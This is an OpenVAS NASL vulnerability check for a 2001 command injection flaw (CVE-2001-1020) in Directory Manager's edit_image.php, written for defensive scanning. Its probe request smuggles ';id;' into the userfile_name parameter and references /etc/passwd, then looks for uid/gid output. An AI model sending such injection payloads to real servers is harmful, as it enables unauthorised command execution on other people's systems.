Directory Manager is installed and does not properly filter user input.
A cracker may use this flaw to execute any command on your system.
# OpenVAS Vulnerability Test
# $Id: directory_manager.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: Directory Manager's edit_image.php
#
# Authors:
# Renaud Deraison <[email protected]>
#
# Copyright:
# Copyright (C) 2002 Renaud Deraison
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "Directory Manager is installed and does not properly filter user input.
A cracker may use this flaw to execute any command on your system.";
tag_solution = "Upgrade your software or firewall your web server";
# Ref: http://cert.uni-stuttgart.de/archive/bugtraq/2001/09/msg00052.html
if(description)
{
script_id(80054);;
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2008-10-24 23:33:44 +0200 (Fri, 24 Oct 2008)");
script_bugtraq_id(3288);
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2001-1020");
name = "Directory Manager's edit_image.php";
script_name(name);
script_category(ACT_GATHER_INFO);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2002 Renaud Deraison");
family = "Web application abuses";
script_family(family);
script_dependencies("find_service1.nasl", "http_version.nasl");
script_require_ports("Services/www", 80);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
#
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80);
if(!get_port_state(port))exit(0);
if(!can_host_php(port:port)) exit(0);
http_check_remote_code (
check_request:"/edit_image.php?dn=1&userfile=/etc/passwd&userfile_name=%20;id;%20",
check_result:"uid=[0-9]+.*gid=[0-9]+.*",
command:"id",
port:port
);